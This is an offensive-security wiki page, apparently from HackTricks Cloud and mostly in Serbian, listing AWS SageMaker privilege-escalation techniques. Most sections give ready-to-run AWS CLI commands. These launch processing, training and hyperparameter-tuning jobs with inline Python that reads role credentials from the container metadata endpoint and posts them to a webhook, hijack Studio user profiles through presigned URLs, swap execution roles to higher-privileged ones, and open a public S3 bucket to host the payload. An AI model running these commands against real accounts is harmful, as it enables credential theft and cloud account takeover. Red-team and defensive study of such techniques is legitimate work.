AWS - Sagemaker Privesc
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
AWS - Sagemaker Privesc
iam:PassRole , sagemaker:CreateNotebookInstance, sagemaker:CreatePresignedNotebookInstanceUrl
Počnite kreiranje notebook-a sa IAM Role-om koji je prikačen za pristup:
aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
Odgovor bi trebalo da sadrži polje NotebookInstanceArn, koje će sadržati ARN novokreirane instance notebooka. Zatim možemo koristiti API create-presigned-notebook-instance-url da generišemo URL koji možemo upotrebiti za pristup instanci notebooka kada bude spremna:
aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>
Navigate to the URL with the browser and click on `Open JupyterLab`` in the top right, then scroll down to “Launcher” tab and under the “Other” section, click the “Terminal” button.
Sada je moguće pristupiti metadata credentials IAM Role.
Potential Impact: Privesc na navedenu sagemaker service role.
sagemaker:CreatePresignedNotebookInstanceUrl
Ako se na njemu već pokreću Jupyter notebooks i možete ih listati pomoću sagemaker:ListNotebookInstances (ili ih otkriti na bilo koji drugi način), možete generisati URL za njih, pristupiti im, i ukrasti credentials kao što je navedeno u prethodnoj tehnici.
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
Potencijalni uticaj: Privesc na priloženu SageMaker service role.
sagemaker:CreatePresignedDomainUrl
Warning
Ovaj napad radi samo na starim tradicionalnim SageMaker Studio domenima, ne na onima kreiranim od strane SageMaker Unified Studio. Domeni iz Unified Studio će vratiti grešku: “This SageMaker AI Domain was created by SageMaker Unified Studio and must be accessed via SageMaker Unified Studio Portal”.
Identitet sa dozvolom da pozove sagemaker:CreatePresignedDomainUrl na ciljnoj Studio UserProfile može izgenerisati login URL koji se autentifikuje direktno u SageMaker Studio kao taj profil. Ovo daje napadačevom browseru Studio sesiju koja nasleđuje ExecutionRole dozvole profila i potpuni pristup EFS-backed home direktorijumu i aplikacijama profila. Nije potreban iam:PassRole niti pristup konzoli.
Zahtevi:
- SageMaker Studio
Domaini ciljniUserProfileunutar njega. - Principal napadača treba
sagemaker:CreatePresignedDomainUrlna ciljanomUserProfile(na nivou resursa) ili*.
Minimalan primer politike (ograničeno na jedan UserProfile):
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sagemaker:CreatePresignedDomainUrl",
"Resource": "arn:aws:sagemaker:<region>:<account-id>:user-profile/<domain-id>/<user-profile-name>"
}
]
}
Koraci zloupotrebe:
- Enumeriši Studio Domain i UserProfiles koje možeš ciljati
DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text)
aws sagemaker list-user-profiles --domain-id-equals $DOM
TARGET_USER=<UserProfileName>
- Proverite da unified studio nije u upotrebi (napad funkcioniše samo na tradicionalnim SageMaker Studio domenima)
aws sagemaker describe-domain --domain-id <DOMAIN_ID> --query 'DomainSettings'
# If you get info about unified studio, this attack won't work
- Generiši presigned URL (važi ~5 minuta podrazumevano)
aws sagemaker create-presigned-domain-url \
--domain-id $DOM \
--user-profile-name $TARGET_USER \
--query AuthorizedUrl --output text
- Otvorite vraćeni URL u pregledaču da biste se prijavili u Studio kao ciljani korisnik. U Jupyter terminalu unutar Studio proverite efektivni identitet ili exfiltrate the token:
aws sts get-caller-identity
Napomene:
--landing-urimože biti izostavljen. Neke vrednosti (npr.app:JupyterLab:/lab) mogu biti odbijene u zavisnosti od Studio izdanja/verzije; podrazumevane vrednosti obično preusmeravaju na početnu stranu Studio, a zatim na Jupyter.- Organizacione politike/VPC endpoint ograničenja i dalje mogu blokirati mrežni pristup; token minting ne zahteva prijavu u konzolu ili
iam:PassRole.
Potencijalni uticaj: Lateralno kretanje i eskalacija privilegija preuzimanjem bilo kog Studio UserProfile čiji je ARN dozvoljen, nasleđujući njegov ExecutionRole i filesystem/apps.
sagemaker:CreatePresignedMlflowTrackingServerUrl, sagemaker-mlflow:AccessUI, sagemaker-mlflow:SearchExperiments
Identitet koji ima dozvolu da pozove sagemaker:CreatePresignedMlflowTrackingServerUrl (i sagemaker-mlflow:AccessUI, sagemaker-mlflow:SearchExperiments za kasniji pristup) za ciljani SageMaker MLflow Tracking Server može izgenerisati jednokratni presigned URL koji se autentifikuje direktno prema upravljanom MLflow UI za taj server. Ovo daje isti pristup koji bi legitimni korisnik imao na serveru (pregled/kreiranje eksperimenata i runs, i preuzimanje/otpremanje artefakata u serverov S3 artifact store).
Zahtevi:
- SageMaker MLflow Tracking Server u nalogu/regionu i njegovo ime.
- Napadački principal treba
sagemaker:CreatePresignedMlflowTrackingServerUrlna ciljnom MLflow Tracking Server resursu (ili*).
Koraci zloupotrebe:
- Enumeriši MLflow Tracking Server-e koje možeš ciljati i izaberi jedno ime
aws sagemaker list-mlflow-tracking-servers \
--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}'
TS_NAME=<tracking-server-name>
- Generiši presigned MLflow UI URL (važeći kratak vremenski period)
aws sagemaker create-presigned-mlflow-tracking-server-url \
--tracking-server-name "$TS_NAME" \
--query AuthorizedUrl --output text
- Otvorite vraćeni URL u pregledaču da pristupite MLflow UI kao autentifikovani korisnik za taj Tracking Server.
Potential Impact: Direktan pristup upravljanom MLflow UI za ciljani Tracking Server, što omogućava pregled i izmenu eksperimenata/runs i preuzimanje ili otpremanje artefakata smeštenih u S3 artifact store koji je konfigurisan na serveru, u okviru dozvola koje nameće konfiguracija servera.
sagemaker:CreateProcessingJob, iam:PassRole
Napadač sa tim dozvolama može naterati SageMaker da izvrši processing job sa SageMaker rolom prikačenom na njega. Ponovnim korišćenjem jednog od AWS Deep Learning Containers koji već uključuje Python (i pokretanjem job-a u istoj regiji kao i URI), napadač može pokrenuti inline kod bez izgradnje sopstvenih image-ova:
REGION=<region>
ROLE_ARN=<sagemaker-arn-role>
IMAGE=683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3
ENV='{"W":"https://example.com/webhook"}'
aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig":{"InstanceCount":1,"InstanceType":"ml.t3.medium","VolumeSizeInGB":50}}' \
--app-specification "{\"ImageUri\":\"$IMAGE\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
--environment "$ENV" \
--role-arn $ROLE_ARN
# Las credenciales llegan al webhook indicado. Asegúrate de que el rol tenga permisos ECR (AmazonEC2ContainerRegistryReadOnly) para descargar la imagen.
Potencijalni uticaj: Privesc na navedeni sagemaker service role.
sagemaker:CreateTrainingJob, iam:PassRole
Napadač sa tim dozvolama može pokrenuti training job koji izvršava proizvoljan kod koristeći navedeni role. Koristeći zvaničan SageMaker container i prepisujući entrypoint sa inline payload-om, ne morate praviti sopstvene images:
REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
ENV='{"W":"https://example.com/webhook"}'
OUTPUT_S3=s3://<existing-bucket>/training-output/
# El rol debe poder leer imágenes de ECR (p.e. AmazonEC2ContainerRegistryReadOnly) y escribir en OUTPUT_S3.
aws sagemaker create-training-job \
--training-job-name privesc-train \
--role-arn $ROLE_ARN \
--algorithm-specification "{\"TrainingImage\":\"$IMAGE\",\"TrainingInputMode\":\"File\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
--output-data-config "{\"S3OutputPath\":\"$OUTPUT_S3\"}" \
--resource-config '{"InstanceCount":1,"InstanceType":"ml.m5.large","VolumeSizeInGB":50}' \
--stopping-condition '{"MaxRuntimeInSeconds":600}' \
--environment "$ENV"
# El payload se ejecuta en cuanto el job pasa a InProgress y exfiltra las credenciales del rol.
Mogući uticaj: Privesc na navedenu SageMaker service role.
sagemaker:CreateHyperParameterTuningJob, iam:PassRole
Napadač sa tim dozvolama može pokrenuti HyperParameter Tuning Job koji izvršava kod pod kontrolom napadača u okviru dodeljene role. Script mode zahteva hostovanje payload u S3, ali svi koraci mogu se automatizovati iz CLI:
REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
BUCKET=sm-hpo-privesc-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
# Allow public reads so any SageMaker role can pull the code
aws s3api put-public-access-block \
--bucket $BUCKET \
--public-access-block-configuration '{
"BlockPublicAcls": false,
"IgnorePublicAcls": false,
"BlockPublicPolicy": false,
"RestrictPublicBuckets": false
}'
aws s3api put-bucket-policy --bucket $BUCKET --policy "{
\"Version\": \"2012-10-17\",
\"Statement\": [
{
\"Effect\": \"Allow\",
\"Principal\": \"*\",
\"Action\": \"s3:GetObject\",
\"Resource\": \"arn:aws:s3:::$BUCKET/*\"
}
]
}"
cat <<'EOF' > /tmp/train.py
import os, time, urllib.request
def main():
meta = os.environ.get("AWS_CONTAINER_CREDENTIALS_RELATIVE_URI")
if not meta:
return
creds = urllib.request.urlopen(f"http://169.254.170.2{meta}").read()
req = urllib.request.Request(
"https://example.com/webhook",
data=creds,
headers={"Content-Type": "application/json"}
)
urllib.request.urlopen(req)
print("train:loss=0")
time.sleep(300)
if __name__ == "__main__":
main()
EOF
cd /tmp
tar -czf code.tar.gz train.py
aws s3 cp code.tar.gz s3://$BUCKET/code/train-code.tar.gz --region $REGION --acl public-read
echo "dummy" > /tmp/input.txt
aws s3 cp /tmp/input.txt s3://$BUCKET/input/dummy.txt --region $REGION --acl public-read
IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
CODE_S3=s3://$BUCKET/code/train-code.tar.gz
TRAIN_INPUT_S3=s3://$BUCKET/input
OUTPUT_S3=s3://$BUCKET/output
# El rol necesita permisos ECR y escritura en el bucket.
cat > /tmp/hpo-definition.json <<EOF
{
"AlgorithmSpecification": {
"TrainingImage": "$IMAGE",
"TrainingInputMode": "File",
"MetricDefinitions": [{"Name": "train:loss", "Regex": "train:loss=([0-9.]+)"}]
},
"StaticHyperParameters": {
"sagemaker_program": "train.py",
"sagemaker_submit_directory": "$CODE_S3"
},
"RoleArn": "$ROLE_ARN",
"InputDataConfig": [
{
"ChannelName": "training",
"DataSource": {
"S3DataSource": {
"S3DataType": "S3Prefix",
"S3Uri": "$TRAIN_INPUT_S3",
"S3DataDistributionType": "FullyReplicated"
}
}
}
],
"OutputDataConfig": {
"S3OutputPath": "$OUTPUT_S3"
},
"ResourceConfig": {
"InstanceType": "ml.m5.large",
"InstanceCount": 1,
"VolumeSizeInGB": 50
},
"StoppingCondition": {
"MaxRuntimeInSeconds": 600
}
}
EOF
aws sagemaker create-hyper-parameter-tuning-job \
--hyper-parameter-tuning-job-name privesc-hpo \
--hyper-parameter-tuning-job-config '{"Strategy":"Random","ResourceLimits":{"MaxNumberOfTrainingJobs":1,"MaxParallelTrainingJobs":1},"HyperParameterTuningJobObjective":{"Type":"Maximize","MetricName":"train:loss"}}' \
--training-job-definition file:///tmp/hpo-definition.json
Svaki trening pokrenut od strane procesa štampa metriku i eksfiltrira kredencijale navedenog role.
sagemaker:UpdateUserProfile, iam:PassRole, sagemaker:CreateApp, sagemaker:CreatePresignedDomainUrl, (sagemaker:DeleteApp)
Sa dozvolom za ažuriranje SageMaker Studio User Profile, kreiranje app, presigned URL-a za app i iam:PassRole, napadač može postaviti ExecutionRole na bilo koji IAM role koju SageMaker service principal može da preuzme. Nove Studio app-ove pokrenute za taj profil će raditi sa zamenjenom role, dajući interaktivna povišena ovlašćenja preko Jupyter terminala ili poslova pokrenutih iz Studio.
Warning
Ovaj napad zahteva da u profilu ne postoje aplikacije, inače će kreiranje app-a propasti sa greškom sličnom:
An error occurred (ValidationException) when calling the UpdateUserProfile operation: Unable to update UserProfile [arn:aws:sagemaker:us-east-1:947247140022:user-profile/d-fcmlssoalfra/test-user-profile-2] with InService App. Delete all InService apps for UserProfile and try again.Ako postoji bilo koja app biće vam potrebna dozvolasagemaker:DeleteAppda ih prvo obrišete.
Koraci:
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>
# 3) Update the Studio profile to use the new role (no iam:PassRole)
aws sagemaker update-user-profile \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--user-settings ExecutionRole=$ROLE_ARN
aws sagemaker describe-user-profile \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query 'UserSettings.ExecutionRole' --output text
# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
--domain-id-equals <DOMAIN_ID>
# Delete an app
aws sagemaker delete-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>
# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>
# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text
# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
# aws sts get-caller-identity
# (should show the high-privilege role from domain defaults)
Potential Impact: Eskalacija privilegija na dozvole navedene SageMaker execution role za interaktivne Studio sesije.
sagemaker:UpdateDomain, sagemaker:CreateApp, iam:PassRole, sagemaker:CreatePresignedDomainUrl, (sagemaker:DeleteApp)
Sa dozvolama za update SageMaker Studio Domain, kreiranje aplikacije, presigned URL-a za aplikaciju, i iam:PassRole, napadač može postaviti podrazumevanu domensku ExecutionRole na bilo koju IAM ulogu koju SageMaker service principal može preuzeti. Nove Studio aplikacije pokrenute za taj profil će raditi sa zamenjenom ulogom, obezbeđujući interaktivno povišene privilegije kroz Jupyter terminale ili job-ove pokrenute iz Studio.
Warning
Ovaj napad zahteva da u domeni nema aplikacija ili će kreiranje aplikacije biti neuspešno sa greškom:
An error occurred (ValidationException) when calling the UpdateDomain operation: Unable to update Domain [arn:aws:sagemaker:us-east-1:947247140022:domain/d-fcmlssoalfra] with InService App. Delete all InService apps in the domain including shared Apps for [domain-shared] User Profile, and try again.
Koraci:
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>
# 3) Change the domain default so every profile inherits the new role
aws sagemaker update-domain \
--domain-id <DOMAIN_ID> \
--default-user-settings ExecutionRole=$ROLE_ARN
aws sagemaker describe-domain \
--domain-id <DOMAIN_ID> \
--query 'DefaultUserSettings.ExecutionRole' --output text
# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
--domain-id-equals <DOMAIN_ID>
# Delete an app
aws sagemaker delete-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>
# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--app-type JupyterServer \
--app-name js-domain-escalated
# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text
# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
# aws sts get-caller-identity
# (should show the high-privilege role from domain defaults)
Potencijalni uticaj: Povišenje privilegija do dozvola specificirane SageMaker ExecutionRole za interaktivne Studio sesije.
sagemaker:CreateApp, sagemaker:CreatePresignedDomainUrl
Napadač koji ima dozvolu za kreiranje SageMaker Studio app za ciljanu UserProfile može pokrenuti JupyterServer app koji se izvršava sa ExecutionRole tog profila. Ovo omogućava interaktivni pristup dozvolama role preko Jupyter terminala ili poslova pokrenutih iz Studio.
Koraci:
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
# 3) Create a JupyterServer app for the user profile
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name js-privesc
# 4) Generate a presigned URL to access Studio
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text
# 5) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
# aws sts get-caller-identity
Potencijalni uticaj: Interaktivni pristup izvršnoj ulozi SageMaker-a koja je pridružena ciljanoj UserProfile.
iam:GetUser, datazone:CreateUserProfile
Napadač sa tim dozvolama može obezbediti IAM korisniku pristup Sagemaker Unified Studio Domain tako što će kreirati DataZone User Profile za tog korisnika.
# List domains
aws datazone list-domains --region us-east-1 \
--query "items[].{Id:id,Name:name}" \
--output json
# Add IAM user as a user of the domain
aws datazone create-user-profile \
--region us-east-1 \
--domain-identifier <domain-id> \
--user-identifier <arn-user> \
--user-type IAM_USER
URL Ujedinjenog domena ima sledeći format: https://<domain-id>.sagemaker.<region>.on.aws/ (npr. https://dzd-cmixuznq0h8cmf.sagemaker.us-east-1.on.aws/).
Potencijalni uticaj: Pristup Sagemaker Unified Studio Domain kao korisnik omogućava pristup svim resursima unutar Sagemaker domena, pa čak i eskalaciju privilegija na ulogu koju koriste notebook-i unutar Sagemaker Unified Studio Domain.
References
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks Cloud

